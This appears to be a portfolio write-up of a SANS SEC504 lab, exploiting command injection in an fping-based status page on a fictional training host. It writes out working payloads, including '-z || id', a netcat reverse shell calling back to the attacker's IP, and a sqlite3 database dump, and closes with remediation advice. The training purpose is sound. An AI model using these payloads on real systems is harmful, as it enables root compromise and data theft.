Skip to main content
See Security Labs

SEC504 - Hacker Tools, Techniques, and Incident Handling

OS Command Injection to Reverse Shell

Solo, Lab

Focus: Web Application Security

Level: SEC504

Date: Jul 2026

Artifacts: Sanitized browser and netcat output from the SEC504 web lab against support.falsimentis.com/singlestatus

TL;DR

  • Argument injection (-h returns fping usage) proved the input reached the command line with one harmless request
  • -z || id executed as root: the invalid option forces failure, then || runs the injected command
  • Chained to a reverse shell as root and exfiltrated the SQLite database with .dump

Skills demonstrated

Argument injection as a low-impact confirmation probeOS command injection via shell operatorsChoosing || (on-failure) for reliable injectionReverse shell establishment with netcatPost-exploitation data exfiltration (sqlite3 .dump)

Note: Course-provided PCAPs and lab instructions are not shared. Only my own captures and sanitized notes are published.

Why this matters

Command injection is a direct path from a web input to code execution as whatever user the web process runs as, root here, which is total server compromise. The methodology is the lesson: testing -h first proves the vulnerability with a single harmless request, and choosing || (run on failure) instead of ; or && is more reliable when you can force the base command to fail. This is exactly how I approach an injection sink in a review, confirm the reach before proving impact.

Context

This lab exploits a server-test page that passes user input into an fping command line without sanitization. It works the injection methodically: prove the sink with harmless argument injection first, then escalate to command injection with a failure operator, enumerate, and finish with a reverse shell running as root. The disciplined progression (argument injection before shell metacharacters) is the part worth learning.

Tools used

curl / browserfpingnetcatsqlite3Slingshot Linux

Steps taken

1Find and exercise the endpoint

robots.txt pointed at /singlestatus. The page (For Official Use Only) takes a target and returns fping output (packet counts, min/avg/max). Normal input produces normal output; the question is whether that input reaches a shell.

$ curl http://support.falsimentis.com/robots.txt
$ # browse /singlestatus?target=10.10.75.1
The page runs fping against the target parameter

2Prove the sink with argument injection

Before any shell metacharacter, submitting target=-h returned fping's full usage text. That single harmless response proves user input is placed on the fping command line unsanitized. Argument injection confirms the vulnerability without risking anything.

$ # /singlestatus?target=-h
-h is interpreted as an fping flaginput reaches the command line

3Escalate to command injection

A colon payload failed (not a shell separator here). The working payload was -z || id: the invalid -z option makes fping exit non-zero, and || then runs id, which returned uid=0(root) gid=0(root). Forcing the base command to fail makes || fire reliably.

$ # /singlestatus?target=-z || id
Invalid -z forces failure; || runs id -> uid=0(root)

4Enumerate the application

-z || ls listed the app directory: app.py, db.sqlite3, config.py, templates, trainbot.py, and more. -z || which nc confirmed /usr/bin/nc (netcat was installed, which the sibling IDOR lab's build.log had already revealed).

$ # /singlestatus?target=-z || ls
$ # /singlestatus?target=-z || which nc
Enumerate the source and confirm a tool for the next step

5Open a reverse shell as root

With netcat present, a listener on the attacker (nc -l -v -p 4444) plus the payload -z || nc 10.10.75.1 4444 -e /bin/sh produced a connection from support.falsimentis.com running as root. A web input became an interactive root shell.

$ # attacker: nc -l -v -p 4444
$ # /singlestatus?target=-z || nc 10.10.75.1 4444 -e /bin/sh
-e /bin/sh binds the shell; connection runs as the web process user (root)

6Exfiltrate the database

In the root shell, sqlite3 db.sqlite3 .dump printed the full schema and data (the chatbot's tag and statement tables, its training corpus). Command injection to root is complete server compromise, and the local database is right there.

$ sqlite3 db.sqlite3 ".dump"
.dumpfull schema + data export

Key findings

Argument injection (-h) proved the sink with one harmless request
-z || id executed as root (uid=0)
The web process ran as root, so injection meant full compromise
Reverse shell + sqlite3 .dump exfiltrated the entire database

Outcome / Lessons learned

Turned an unsanitized fping parameter into a root reverse shell by confirming the sink with argument injection (-h), escalating with the -z || failure-operator technique, and exfiltrating the SQLite database. A single web input became complete server compromise as root.

Never pass user input to a shell: use a library or a direct syscall (an ICMP library instead of shelling out to fping), and if a command must be built, use an argument array with no shell interpretation and a strict allowlist for the target (validate it is an IP or hostname). Run the web process as an unprivileged user, not root, so injection does not immediately mean full compromise. Add a WAF rule and alerting for shell metacharacters in the target parameter.

Security controls relevant

  • No shell invocation on user input (library calls / argv arrays)
  • Strict input validation (allowlist IP/hostname)
  • Least-privilege web process (not root)
  • WAF rules for shell metacharacters
  • Egress filtering to block reverse-shell callbacks

What I took away from this

The methodology is the takeaway: prove reach before proving impact. Submitting -h and getting fping's usage back is a harmless request that conclusively demonstrates the input hits the command line. Only then does it make sense to reach for shell operators. In a review, that ordering keeps you from firing destructive payloads to answer a question a benign one already settles.

|| is the reliable operator when you can force the base command to fail. ; always runs the second command and && only runs it on success, but || runs it precisely when the first command errors, and an invalid flag like -z guarantees that error. Combined with a web process running as root, the result is that one carefully chosen query string yields an interactive root shell. Running the web app unprivileged would not fix the injection, but it would turn a catastrophe into a contained one.

Evidence gallery

OS Command Injection to Reverse Shell | Luis Javier Lozoya